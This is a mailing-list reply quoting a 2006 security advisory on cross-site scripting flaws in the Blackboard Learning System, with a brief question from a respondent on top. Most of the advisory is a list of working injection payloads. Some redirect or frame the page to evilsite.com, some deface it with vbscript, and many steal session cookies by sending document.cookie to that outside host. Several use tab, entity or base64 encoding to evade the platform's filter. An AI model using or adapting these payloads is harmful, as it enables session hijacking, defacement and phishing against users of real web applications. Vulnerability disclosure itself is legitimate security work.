What type of an account do you have to have and in what sections can
this be exploited?
Also, has Blackboard verified this in their current release (7.1)?

-cdh


Pr070n@gmail.com wrote:
> -----------------------------------------------------------------------------------------
>
>
> Found by: PrOtOn & digi7al64
>
>
> Date: May 20th 2006
>
>
> Critical Level: High
>
>
> Type: Multiple Cross Site Scripting (XSS) vunerabilities
>
>
>
> ------------------------------------------------------------------------------------------
>
>
>
> Software:
>
> Blackboard Learning System (Release 6) Blackboard Learning and Community Portal Suite (Release6)-6.2.3.23
>
>
>
> ------------------------------------------------------------------------------------------
>
>
>
> Explanation: You can inject HTML, VB code and or Javascript into specific tags to steal
>
> cookies, deface the site using frame busters or even redirect to external sites for phishing purposes.
>
> If you have limited access, then a simple post into the Discussion Board using the right
>
> tags with the right code (provided below) will execute the vulnerability(ies).
>
>
>
> -------------------------------------------------------------------------------------------
>
>
> About:
>
> Blackboards parsing system only checks for the string "javascript", Thus vbscript code can be injected at will into tags as well as any versions of javascript that uses uncommon syntax (ie tabs encoding etc)
>
>
> -------------------------------------------------------------------------------------------
>
> Vulnerabilities:
>
>
> Defacement (FrameBuster)
>
> -------------------------
>
> <meta http-equiv="refresh"
>
> content="15;url= http://evilsite.com">
>
>
>
> Defacement (FrameBuster)
>
> -------------------------
>
> <iframe src=" http://evilsite.com" width=100
>
> height=100></iframe>
>
>
>
> Defacement (IE ONLY)
>
> -------------------------
>
> <img src=vbscript:document.write("defaced_by_insane_scr ipt_kiddies")>
>
>
>
> Defacement (IE ONLY)
>
> -------------------------
>
> <link rel="stylesheet"
>
> href=vbscript:document.write("defaced_by_insane_sc ript_kiddies")>
>
>
> <img src=vb script:document.write("defaced_by_insane_script_ki ddies")>
>
>
>
> Cookie Stealer (IE ONLY)
>
> -------------------------
>
>
> <img
>
> src="vbscript:wintest=window.open(%22http://evilsite.com + document.cookie)"style=visibility:hidden/>
>
> <img src="vbscript:window.focus ()"style=visibility:hidden/>
>
> <img src="vbscript: window.close()"style=visibility:hidden/>
>
>
>
> Cookie Stealer (IE ONLY)
>
> -------------------------
>
> <link rel="stylesheet"
>
> href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)">
>
>
>
> Cookie Stealer (Encoded Tab - IE ONLY)
>
> -------------------------
>
> <img
>
> src="jav&#x09;ascript: document.images[1].src=%22http://evilsite.com+document.cookie;"<img src="jav
>
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hid den/>
>
>
>
> Cookie Stealer (html encoded - IE ONLY)
>
> -------------------------
>
> <img
>
> src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105; &#112;document.images[1].s
>
> rc=" http://evilsite.com"+document.cookie;'<img
>
> src="jav
>
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hid den/>
>
>
>
> Cookie Stealer (tabs - IE ONLY)
>
> -------------------------
>
> <img src="jav
>
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hid den/>
>
>
>
> Cookie Stealer (body tag with tabs - IE ONLY)
>
> -------------------------
>
> <body background="jav
>
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;">
>
>
>
> Cookie Stealer (div tag with tabs - IE ONLY)
>
> -------------------------
>
> <div style="background-image: url(jav
>
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie">
>
>
>
> Cookie Stealer (firefox)
>
> -------------------------
>
> <META HTTP-EQUIV="refresh"
>
> CONTENT="0;url=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS 5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">
>
>
>
> Cookie Stealer (firefox - click to work)
>
> -------------------------
>
> <a
>
> href="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS 5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">hmmm</a>
>
>
>
> ---------------------------------------------------------------------------------------------
>
>
>
> Disclaimer:
>
> Myself or any other person involved with this discovery will not be responsible for what you
>
> do with this information.
>
> Blackboard developers have been contacted by me and a patch has been released according to them.
>
>
>
> -----------------------------------------------------------------------------------------------
>
>
>
> Shout Outs:
>
> r0xes, criticalsecurity(dot)net, Infowar(dot)com
>
>
>
> ------------------------------------------------------------------------------------------------
>
>
>
> Contact:
>
> Pr070n(at)gmail(dot)com
>
> Digi7al64(at)gmail(dot)com
>
>
>
> -------------------------------------------------------------------------------------------------
>